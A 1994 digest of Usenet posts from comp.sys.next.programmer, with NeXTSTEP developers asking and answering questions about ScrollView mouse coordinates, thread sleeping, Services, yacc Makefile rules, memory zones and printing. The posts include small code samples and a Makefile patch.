From: lloyd@goldhost.lscf.ucsb.edu (Lloyd Goldwasser) Newsgroups: comp.sys.next.programmer Subject: Problem with mouse coordinates in a ScrollView Date: 15 Mar 1994 21:51:36 GMT Organization: University of California, Santa Barbara Message-ID: <2m5al8$emi@ucsbuxb.ucsb.edu> I have been getting the mouseDown coordinates in a CustomView for a while, and everything was working fine. However, after I recently Grouped the View into a ScrollView, the mouseDown coordinates started coming out wrong. Everything gets drawn in the right places, but the mouse events are off by, maybe, about the width of the scroll bars. Is there any nonclumsy way to make these coordinates correct again? (I am already using [myView convertPointFromSuperview:&mousePoint]; and it doesn't seem to help.) Thanks in advance, Lloyd Goldwasser goldwass@lifesci.lscf.ucsb.edu
Newsgroups: comp.sys.next.programmer From: brad@instep.wimsey.bc.ca Subject: Re: can't usleep in thread, so..? Message-ID: <1994Mar16.011038.3294@instep.wimsey.bc.ca> Sender: brad@instep.wimsey.bc.ca (Bradley Head) Organization: InStep Mobile Communications Inc. References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> Date: Wed, 16 Mar 1994 01:10:38 GMT In article <1994Mar14.185625.11862@galileo.cc.rochester.edu> lapj_ss@troi.cc.rochester.edu (J. LaPierre) writes: > I need to do usleep type waits in a thread, but apparently, this > is not a good idea. At the moment I'm using a hack from the example > sorting app that comes with NSDeveloper. It just waits for a message > on a port (not really expecting one), and does a timeout. > Surely there is some better way. Anyone got one? > > -Jason > > ------ > Jason LaPierre > University of Rochester > lapj_ss@troi.cc.rochester.edu > The "hack" *is* a good, thread-safe way to sleep. What more do you want? #import <mach/mach.h> void ts_msleep(unsigned msec) { msg_header_t null_msg; port_t port; if (port_allocate(task_self(), &port) != KERN_SUCCESS) return; null_msg.msg_local_port = port; null_msg.msg_size = sizeof(null_msg); msg_receive(&null_msg,RCV_TIMEOUT,msec);// wait until timeout port_deallocate(task_self(),port); // clean up } -- Bradley Head Software Developer, InStep Mobile Communications Inc. brad@instep.wimsey.bc.ca (NeXTmail accepted) 604 872-7116 fax: 604 872-7125
From: pgeiss@aeon.ucsd.edu (Peter Geissler) Newsgroups: comp.sys.next.programmer Subject: NeXT Service Example Date: 16 Mar 1994 02:19:34 GMT Organization: The Avant-Garde of the Now, Ltd. Distribution: world Message-ID: <2m5qbm$mi8@network.ucsd.edu> Hi everybody I am looking for a short and simple example program that shows how a service can be created. In particular, I need to write a service which takes images (tiff or pxm) as input, manipulates them and writes them back in the same format. The "ServiceDemo" in /NextDeveloper/Examples doesnt show how a service can appear in the Services Menu. I tried the "AtYourService" example from the sonata server, but it seems not to work with 3.2. In particular, I need to write a service which takes images (tiff or pxm) as input, manipulates them and writes them back in the same format. Does anybody know how to do this or where to find example code for writing services ?? Any help welcome ! Peter pgeiss@aeon.ucsd.edu
Newsgroups: comp.sys.next.programmer Organization: Antigone Press gateway, San Francisco Return-Path: <erictremblay@genie.geis.com> From: <erictremblay@genie.geis.com> Message-ID: <9403152322.AA22180@relay2.geis.com> Date: Tue, 15 Mar 94 22:46:00 BST Cc: comp-sys-next-programmer@antigone.com Subject: New -- Nova CDROM, 2nd Edition >If you are going to violate the proper rules for posting this >information then have the good sense to at least cross post. >In future, please realize that all such commercial announcements go >through next-announce@digifix.com (Which is the address for >comp.sys.next.announce which is the moderated group) Yes, I agree with you and I'm sorry that the Nova SE Press Release was posted in this newsgroup. I was not aware that someone else other then me at Walnut Creek CDROM would post to the NeXT groups. The person who did this won't do it again. It's a mistake. I'm sorry. The Nova SE Press Release has been posted a while back in the announcements newsgroup with great feedback! Thanks for understanding. Eric "E.T." Tremblay Walnut Creek CDROM
Newsgroups: comp.sys.next.programmer From: flash!jon@myxa.com Subject: Re: NXBrowser for filesystem Message-ID: <CMqL1n.E9@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? Date: Wed, 16 Mar 1994 02:46:34 GMT A few days ago I asked where I might find code for filling a browser like the Workspace. Thanks to all the people who sent me answers and even code (Thanks, Scott!). It seems that all roads lead to the IconKit. :) -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: NXExceptions generate strange error... Help! Message-ID: <1994Mar16.014917.5449@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. Distribution: usa Date: Wed, 16 Mar 1994 01:49:17 GMT Hello, I'm having troulbe with NXExceptions. In a library I link in to non-NeXTSTEP applications, I see this: Attempt to remove an unknown exception handler. Whenever an exception is raised. Why is this, and how can I get rid of it??? Thanks in advance! (Email me if you would like to receive a copy of responses). -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: documentation generator ? Message-ID: <1994Mar16.032336.17702@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. Distribution: usa Date: Wed, 16 Mar 1994 03:23:36 GMT It used to be that the NeXT .h files all looked a lot like the rtf man pages. Has anyone ever actually seen or written the mythical program that generates docuemntation from .h files? Alternativly, how do people generate their class documentation pages? -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: documentation generator ? Date: 16 Mar 1994 05:57:40 GMT Organization: Duke University; Durham, N.C., USA Distribution: usa Message-ID: <2m674k$m81@news.duke.edu> References: <1994Mar16.032336.17702@FreemanSoft.com> Joe Freeman writes > It used to be that the NeXT .h files all looked a lot like the rtf man > pages. Has anyone ever actually seen or written the mythical program that > generates docuemntation from .h files? Yes, there's a public-domain app called ManPagesFromHeaders. I can't seem to find it on the archives right now, but it's around. I can NeXTMail it to you if you like. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
Newsgroups: comp.sys.next.programmer From: Jayson Adams Subject: Re: can't usleep in thread, so..? Message-ID: <1994Mar16.054430.5271@millennium.com> Keywords: Newsgrazer Pro - When you care enough to send the very best Sender: jayson@millennium.com Organization: Millennium Software Labs, Inc. References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> <1994Mar16.011038.3294@instep.wimsey.bc.ca> Date: Wed, 16 Mar 1994 05:44:30 GMT In article <1994Mar16.011038.3294@instep.wimsey.bc.ca>, brad@instep.wimsey.bc.ca writes: > > I need to do usleep type waits in a thread, but apparently, this > > is not a good idea. At the moment I'm using a hack from the example > > sorting app that comes with NSDeveloper. It just waits for a message > > The "hack" *is* a good, thread-safe way to sleep. What more do you want? The problem I have with it is that it's only got millisecond resolution (at best). I'm sure there are times when you really do want to sleep for a few usecs. __jayson
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: New -- Nova CDROM, 2nd Edition Date: 16 Mar 1994 08:34:28 -0000 Organization: me organised, that's a joke. Message-ID: <2m6gak$1f2@steffi.demon.co.uk> References: <9403152322.AA22180@relay2.geis.com> Cc: <erictremblay@genie.geis.com> wrote in comp.sys.next.programmer >Thanks for understanding. > >Eric "E.T." Tremblay > Walnut Creek CDROM > No need to apologize just bear it in mind in future. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: marcel@cs.tu-berlin.de (Marcel Weiher) Newsgroups: comp.sys.next.programmer Subject: Re: can't usleep in thread, so..? Date: 16 Mar 1994 12:06:17 GMT Organization: Technical University of Berlin, Germany Message-ID: <2m6snp$2ma@news.cs.tu-berlin.de> References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> <1994Mar16.011038.3294@instep.wimsey.bc.ca> <1994Mar16.054430.5271@millennium.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Keywords: Newsgrazer Pro - When you care enough to send the very best Jayson Adams writes: >In article <1994Mar16.011038.3294@instep.wimsey.bc.ca>, brad@instep.wimsey.bc.ca writes: >> > I need to do usleep type waits in a thread, but apparently, this >> > is not a good idea. At the moment I'm using a hack from the example >> > sorting app that comes with NSDeveloper. It just waits for a message >> >> The "hack" *is* a good, thread-safe way to sleep. What more do you want? >The problem I have with it is that it's only got millisecond resolution (at >best). I'm sure there are times when you really do want to sleep for a few >usecs. Do you think the kernel can put you to sleep, run another thread etc. all in a couple of usecs? If you really need to _delay_ a couple of usecs, you'll probably need to do something else, like run a calibrated delay loop. Marcel
From: cartier@iisnext5.unil.ch (Cartier Francois) Newsgroups: comp.sys.next.programmer Subject: Allegro Common Lisp Date: 16 Mar 1994 13:07:17 GMT Organization: University of Lausanne CH (Switzerland) Message-ID: <2m70a5$evi@cisun2000.unil.ch> Keywords: Lisp How can we get Allegro Common Lisp for NeXT ? cartier@iisnext1.unil.ch
From: geom2@sfb256.iam.uni-bonn.de ( Michael Moellney ) Newsgroups: comp.sys.next.programmer Subject: Problems with yacc and Makefile Date: 16 Mar 1994 13:54:09 GMT Organization: Applied Math, University of Bonn, Germany Message-ID: <2m7321$m83@news.rhrz.uni-bonn.de> References: <2lc9cd$nfu@nic-nac.CSU.net> <CMB088.D1@basil.icce.rug.nl> Hi! There is a file: adoc.y (grammar-file to compiled by yacc). The basicrules.make has a rule : .y.o: @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.y" ; echo $$cmd; $$cmd ; \ cmd="$(MV) $(MVFLAGS) y.tab.c $*.c" ; echo $$cmd; $$cmd ; \ cmd="$(CP) $(MVFLAGS) y.tab.h $*.h" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.c -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) This one produces a file: y.tab.c in directory ./sym . Then this y.tab.c is renamed to adoc.c. After this all is compiled .... nice, that what i want,.... BUT when you make a touch on adoc.y the following rule in basicrules.make is used: .y.c .y.h: @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.y" ; echo $$cmd; $$cmd ; \ cmd="$(MV) $(MVFLAGS) y.tab.c $*.c" ; echo $$cmd; $$cmd ; \ cmd="$(CP) $(MVFLAGS) y.tab.h $*.h" ; echo $$cmd; $$cmd ) and this produces on make following output to terminal: <michi:ADoc,23> make yacc -d -v /usr/people/moellney/Privat/Juelich/Projekte/AutoDoc/Prog/ADoc/adoc.y conflicts: 2 shift/reduce, 1 reduce/reduce mv y.tab.c sym/adoc.c mv: sym/adoc.c: rename: No such file or directory *** Exit 1 Stop. *** Exit 1 Stop. yacc produces this y.tab.c in ./sym that's ok but where comes does sym/adoc.c come from ???? Shouldn't it only read mv y.tab.c adoc.c Now ok, there's already a file adoc.c in ./sym . Does this force make to use the second rule and produce that curious sym/adoc.c ?? But when so, why isn't the yacc line yacc -d -v /usr/....../ADoc/sym/adoc.y Yes, there's no such file in ./sym, but read in the rule... in both lines there is a $*, which means name without extension... Thankful for any hints, Michael
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: Problem with mouse coordinates in a ScrollView Message-ID: <CMrKKJ.4pn@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <2m5al8$emi@ucsbuxb.ucsb.edu> Date: Wed, 16 Mar 1994 15:35:01 GMT Try: [self convertPoint:&mousePoint fromView:nil]; Lloyd Goldwasser (lloyd@goldhost.lscf.ucsb.edu) wrote: : I have been getting the mouseDown coordinates in a CustomView for a : while, and everything was working fine. However, after I recently : Grouped the View into a ScrollView, the mouseDown coordinates : started coming out wrong. Everything gets drawn in the right places, : but the mouse events are off by, maybe, about the width of the scroll : bars. Is there any nonclumsy way to make these coordinates correct : again? : (I am already using : [myView convertPointFromSuperview:&mousePoint]; : and it doesn't seem to help.) : Thanks in advance, : Lloyd Goldwasser : goldwass@lifesci.lscf.ucsb.edu -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@snac.cfa.org
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: GC, Obj-C and the Appkit Message-ID: <CMrxM5.Hvo@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX Distribution: usa Date: Wed, 16 Mar 1994 20:15:39 GMT Hey net.folks, I've been programming in Smalltalk for the past two years, and it's been a lot of fun. But, now I'm trying to whip up my NeXTSTEP skills. That said, I'm getting a serious dose of reality w.r.t. managing memory. In Smalltalk this has been (virtually) a non-issue since ParcPlace's ObjectWorks has garbage collection (7 kinds no less!). Is there any hope of getting garbage collection in Obj-C and the Appkit ?? As I perused the insides of the Workspace.app with AppInspector.app, there seemed to be a hint of such things existing; I found classes like IPCGCObject and GCImage. Any speculation from the Objective-C.gods is welcome. -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: How useful are Zones? Date: 16 Mar 1994 11:22:35 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2m6q5r$p86@gpo.gb.swissbank.com> Has anyone done any timing studies on how much of a speed-up using Zones produces? I know that in particular cases they should be faster, but I wonder how much difference in general they make in a large and complex program. There's no point in using them just out of superstition, so if anyone's got any hard evidence of their benefits, let's hear it. If anyone would like to measure the difference, here is a category of Object you can use that turns +allocFromZone into plain +alloc: @implementation Object (ZoneAlloc) id (*allocMethod)(); + allocFromZone:(NXZone *)zone { if (!allocMethod) { allocMethod = (id (*)()) [Object methodFor:@selector(alloc)]; } return allocMethod(self, @selector(alloc)); } @end Are there any tools to measure the time spent paging/swapping? Does the system time returned by time(1) include paging? Dave Griffiths
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Re: How useful are Zones? Date: 16 Mar 1994 12:10:13 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2m6sv5$rfg@gpo.gb.swissbank.com> References: <2m6q5r$p86@gpo.gb.swissbank.com> In article <2m6q5r$p86@gpo.gb.swissbank.com> griffid@gb.swissbank.com (Dave Griffiths) writes: |> If anyone would like to measure the difference, here is a category of |> Object you can use that turns +allocFromZone into plain +alloc: Oops, perhaps a better way of doing that would be to set _zoneAlloc to _alloc. Dave Griffiths
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Re: documentation generator ? Date: 16 Mar 1994 19:09:49 GMT Organization: Stanford University: Computer Science Department Distribution: usa Message-ID: <2m7lht$n3@Times.Stanford.EDU> References: <2m674k$m81@news.duke.edu> There's a shareware program called ClassMaker that does exactly what you want--well worth the $25. Look for CM.* on cs.orst.edu. --- Scott Roy Department of Computer Science Stanford University
From: pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) Newsgroups: comp.sys.next.programmer Subject: wysiNwyg! Why won't this print? Date: 16 Mar 1994 23:22:15 GMT Organization: University of Arizona, CCIT Distribution: world Message-ID: <PJS.94Mar16162216@bigdog.engr.arizona.edu> The following incredibly simple object displays properly to the screen, but will not print. I'm probably overlooking something very simple, but those are the hardest bugs for the author to find, so any help would be appreciated. --paul The "Print..." menu button is connected to FirstResponder with a SmartPrintPSCode: action. I've created a window containing a MyView object. MyView interface and implemenation follow. If anyone would like a copy of the entire project, I'll happily e-mail it to you. MyView.h ======== #import <appkit/appkit.h> @interface MyView:View { } - drawSelf: (const NXRect*) rects : (int) rectCount; @end MyView.m ======== @implementation MyView - initFrame: (const NXRect *) r { [super initFrame: r]; [self setDrawSize: 5 : 5]; [self setOpaque: YES]; [self setAutodisplay: YES]; return self; } - drawSelf: (const NXRect*) rects : (int) rectCount; { NXRect r; PSsetgray(NX_WHITE); // changing this to NX_BLACK prints black... NXRectFill(&bounds); [self setDrawOrigin: 0.0: 0.0]; r.origin.y = 0; r.origin.x = 2; r.size.width = 1; r.size.height = 4; PSsetgray(NX_DKGRAY); NXRectFill(&r); // this rectangle displays but WON'T PRINT! return self; } @end -- --paul paul@whimsy.umsl.edu ================================================================= A free society is one where it is safe to be unpopular. -- Adlai Stevenson =================================================================
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: documentation generator ? Date: 16 Mar 1994 21:34:33 -0000 Organization: me organised, that's a joke. Distribution: usa Message-ID: <2m7u19$233@steffi.demon.co.uk> References: <2m674k$m81@news.duke.edu> <2m7lht$n3@times.stanford.edu> hsr@cs.Stanford.EDU (Scott Roy) wrote in comp.sys.next.programmer >There's a shareware program called ClassMaker that does exactly what you >want--well worth the $25. Look for CM.* on cs.orst.edu. > >--- >Scott Roy >Department of Computer Science >Stanford University Note to the author. WHen is the @protocol and @class directives going to be supported? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: chuck@benatong.com (Charles G. Bennett) Subject: Re: Daemon doesn't disconnect from terminal! Message-ID: <CMpynI.8Lp@benatong.com> Sender: usenet@benatong.com Organization: BenaTong References: <2lv9i8$7al@elna.ethz.ch> Date: Tue, 15 Mar 1994 18:42:53 GMT In article <2lv9i8$7al@elna.ethz.ch> mwa@ife.ee.ethz.ch (Marcel Waldvogel) writes: > In article <CM6AJ6.EDE@benatong.com>, > Charles G. Bennett <chuck@benatong.com> wrote: > >daemon_init(void) > >{ > [...] > > umask(0); > > Why are you doing the umask(0)? This means you have to be careful when > creating files (even in subprocesses) and can't use the fopen(). > > -Marcel If you don't set the umask to something, you inherit whatever was handed to you. When I create files I explicitly set the permissions. Using umask(0) "helps" you to remember that you need to set them.. (It helps by having the program not work..:-) ) Chuck
From: ayardley@qns1.qns.com (A.C. Yardley) Newsgroups: comp.sys.next.programmer Subject: Re: Allegro Common Lisp Date: 16 Mar 1994 22:00:49 -0600 Organization: Questar Network Services Message-ID: <2m8klh$m2s@qns1.qns.com> References: <2m70a5$evi@cisun2000.unil.ch> Cartier Francois (cartier@iisnext5.unil.ch) wrote: : How can we get Allegro Common Lisp for NeXT ? : cartier@iisnext1.unil.ch Contact Franz Inc. in California. I think they're in Berkley. I don't have their voice mail. A.C.
From: ayardley@qns1.qns.com (A.C. Yardley) Newsgroups: comp.sys.next.programmer Subject: Re: next developer software... Date: 16 Mar 1994 22:03:54 -0600 Organization: Questar Network Services Distribution: world Message-ID: <2m8kra$m33@qns1.qns.com> References: <2m4tta$gkp@geraldo.cc.utexas.edu> silver Harloe (silver@metonymy.ots.utexas.edu) wrote: : I have a NeXT here, running Mach 3.0, but it was purchased as part of a big : group of NeXTs and UT only got the one optical drive, which is on someone : else's desk in a different department, so I don't have any of the development : software (i.e. the include libraries and whatnot for writing your own : NeXTapps)... : where can I get it? can someone make it available for me to ftp? what? : --silver-- : silver@metonymy.ots.utexas.edu Contact NeXT at 800-848-NEXT and talk with the order/purchase people. A.C.
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Problems with yacc and Makefile Date: 17 Mar 1994 04:23:50 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2m8m0m$ehp@darkstar.UCSC.EDU> References: <2m7321$m83@news.rhrz.uni-bonn.de> In article <2m7321$m83@news.rhrz.uni-bonn.de> geom2@sfb256.iam.uni-bonn.de ( Michael Moellney ) writes: [description of yacc "make" problem deleted] Methinks basicrules.make is slightly broken. The following patch works for me for both yacc and lex rules: *** basicrules.make.orig Wed Jul 14 15:08:25 1993 --- basicrules.make Tue Oct 26 15:49:04 1993 *************** *** 58,66 **** @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.y" ; echo $$cmd; $$cmd ; \ ! cmd="$(MV) $(MVFLAGS) y.tab.c $*.c" ; echo $$cmd; $$cmd ; \ ! cmd="$(CP) $(MVFLAGS) y.tab.h $*.h" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.c -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) --- 58,67 ---- @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.y" ; echo $$cmd; $$cmd ; \ ! file=$*; \ ! cmd="$(MV) $(MVFLAGS) y.tab.c $$file.c" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ + cmd="$(CP) $(MVFLAGS) $(SYM_DIR)/y.tab.h $(SYM_DIR)/$*.h" ; echo $$cmd; $$cmd ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.c -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) *************** *** 68,83 **** @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.y" ; echo $$cmd; $$cmd ; \ ! cmd="$(MV) $(MVFLAGS) y.tab.c $*.c" ; echo $$cmd; $$cmd ; \ ! cmd="$(CP) $(MVFLAGS) y.tab.h $*.h" ; echo $$cmd; $$cmd ) .ym.o: @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.ym" ; echo $$cmd; $$cmd ; \ ! cmd="$(MV) $(MVFLAGS) y.tab.c $*.m" ; echo $$cmd; $$cmd ; \ ! cmd="$(CP) $(MVFLAGS) y.tab.h $*.h" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.m -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) --- 69,87 ---- @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.y" ; echo $$cmd; $$cmd ; \ ! file=$*; \ ! cmd="$(MV) $(MVFLAGS) y.tab.c $$file.c" ; echo $$cmd; $$cmd ; \ ! cd $$initdir ; \ ! cmd="$(CP) $(MVFLAGS) $(SYM_DIR)/y.tab.h $(SYM_DIR)/$*.h" ; echo $$cmd; $$cmd ) .ym.o: @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.ym" ; echo $$cmd; $$cmd ; \ ! file=$*; \ ! cmd="$(MV) $(MVFLAGS) y.tab.c $$file.m" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ + cmd="$(CP) $(MVFLAGS) $(SYM_DIR)/y.tab.h $(SYM_DIR)/$*.h" ; echo $$cmd; $$cmd ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.m -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) *************** *** 85,98 **** @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.ym" ; echo $$cmd; $$cmd ; \ ! cmd="$(MV) $(MVFLAGS) y.tab.c $*.m" ; echo $$cmd; $$cmd ; \ ! cmd="$(CP) $(MVFLAGS) y.tab.h $*.h" ; echo $$cmd; $$cmd ) .l.o: @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(LEX) $(LFLAGS) $$initdir/$*.l" ; echo $$cmd; $$cmd ; \ ! cmd="$(MV) $(MVFLAGS) lex.yy.c $*.c" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.c -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) --- 89,105 ---- @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(YACC) $(YFLAGS) $$initdir/$*.ym" ; echo $$cmd; $$cmd ; \ ! file=$*; \ ! cmd="$(MV) $(MVFLAGS) y.tab.c $$file.m" ; echo $$cmd; $$cmd ; \ ! cd $$initdir ; \ ! cmd="$(CP) $(MVFLAGS) $(SYM_DIR)/y.tab.h $(SYM_DIR)/$*.h" ; echo $$cmd; $$cmd ) .l.o: @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(LEX) $(LFLAGS) $$initdir/$*.l" ; echo $$cmd; $$cmd ; \ ! file=$*; \ ! cmd="$(MV) $(MVFLAGS) lex.yy.c $$file.c" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.c -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) *************** *** 101,113 **** @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(LEX) $(LFLAGS) $$initdir/$*.l" ; echo $$cmd; $$cmd ; \ ! cmd="$(MV) $(MVFLAGS) lex.yy.c $*.c" ; echo $$cmd; $$cmd ) .lm.o: @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(LEX) $(LFLAGS) $$initdir/$*.lm" ; echo $$cmd; $$cmd ; \ ! cmd="$(MV) $(MVFLAGS) lex.yy.c $*.m" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.m -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) --- 108,122 ---- @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(LEX) $(LFLAGS) $$initdir/$*.l" ; echo $$cmd; $$cmd ; \ ! file=$*; \ ! cmd="$(MV) $(MVFLAGS) lex.yy.c $$file.c" ; echo $$cmd; $$cmd ) .lm.o: @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(LEX) $(LFLAGS) $$initdir/$*.lm" ; echo $$cmd; $$cmd ; \ ! file=$*; \ ! cmd="$(MV) $(MVFLAGS) lex.yy.c $$file.m" ; echo $$cmd; $$cmd ; \ cd $$initdir ; \ cmd="$(CC) $(ALL_CFLAGS) -I$$initdir -c $(SYM_DIR)/$*.m -o $(OFILE_DIR)/$*.o" ; \ echo $$cmd ; $$cmd ) *************** *** 116,122 **** @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(LEX) $(LFLAGS) $$initdir/$*.lm" ; echo $$cmd; $$cmd ; \ ! cmd="$(MV) $(MVFLAGS) lex.yy.c $*.m" ; echo $$cmd; $$cmd ) # dbcompiler relate rules: --- 125,132 ---- @(initdir=`pwd`; \ cd $(SYM_DIR); \ cmd="$(LEX) $(LFLAGS) $$initdir/$*.lm" ; echo $$cmd; $$cmd ; \ ! file=$*; \ ! cmd="$(MV) $(MVFLAGS) lex.yy.c $$file.m" ; echo $$cmd; $$cmd ) # dbcompiler relate rules: --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: kampp@neon (Ralf &) Newsgroups: comp.sys.next.programmer Subject: Sorry:? expansionDict of Edit ? Date: 16 Mar 1994 11:30:14 GMT Organization: University Koblenz / Germany Message-ID: <2m6qkk$3np@newshost.uni-koblenz.de> Keywords: edit expansion Some days ago I posted a request about the expansion dictionary of Edit and its usage (ESC doesn't work). And I made the mistake to also give my email-adress !!! My mistake was: By that time I didn't have (and did't know that I didn t have) a working mail account yet and I'm not sure whether this has already been changed !!! So SORRY to anybody out there who should have tried to answer my request via email !!!!!!!!
Newsgroups: comp.sys.next.programmer From: brandner@dia.informatik.uni-stuttgart.de (Mirko Brandner) Subject: Help for building palettes Message-ID: <CMt3p4.Buz@news.informatik.uni-stuttgart.de> Originator: brandner@dia Keywords: IB, palettes, submenu Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, W.Germany Date: Thu, 17 Mar 1994 11:24:39 GMT Hallo again, it seems that my first posting has not been sent to this group. Unfortunately I need information urgently and I have not saved what I wrote before. I would like to post the following questions: 1) How do I write submenus which can be dragged from the palette? My code works fine for MenuCells and I know what to write in the finishInstantiate method for my subclass of IBPAlette. I also know that I have to use a different type in the associate.... method. 2) I want to replace the MainMenu in IB with an object of my subclass of Menu! There is no way to instantiate an object of class Menu or below (not even Window if I recall correctly!)in the browser. I can delete the MainMenu but do not know how to replcace it! 3) Using the class-dump program and searching through libraries and IB executable I find {Window,Menu}Template classes. What are they good for? Thanks for all your answers in advance. Soon, I will also post why I need this information in a project where blind users are helped to use GUIs. Mirko Brandner brandner@dia.informatik.uni-stuttgart.de Mirko Brandner Senefelderstr. 102 70176 Stuttgart +49 711 6364432
From: carsten@pizza.fb10.tu-berlin.de (Carsten Schultz) Newsgroups: comp.sys.next.programmer Subject: uname Date: 17 Mar 1994 12:28:31 GMT Organization: TUBerlin/ZRZ Distribution: world Message-ID: <2m9idf$cge@brachio.zrz.TU-Berlin.DE> Hi, is there a preferred way for a script (perl script that is in my case), that is supposed to run on many different machines to find out, if it is running on a NeXT? (Something like 'uname' on a SUN) Carsten -- Carsten Schultz (carsten@pizza.fb10.tu-berlin.de) "One day I may find it quite amusing How touch and tongues make life so confusing" Anne Clark
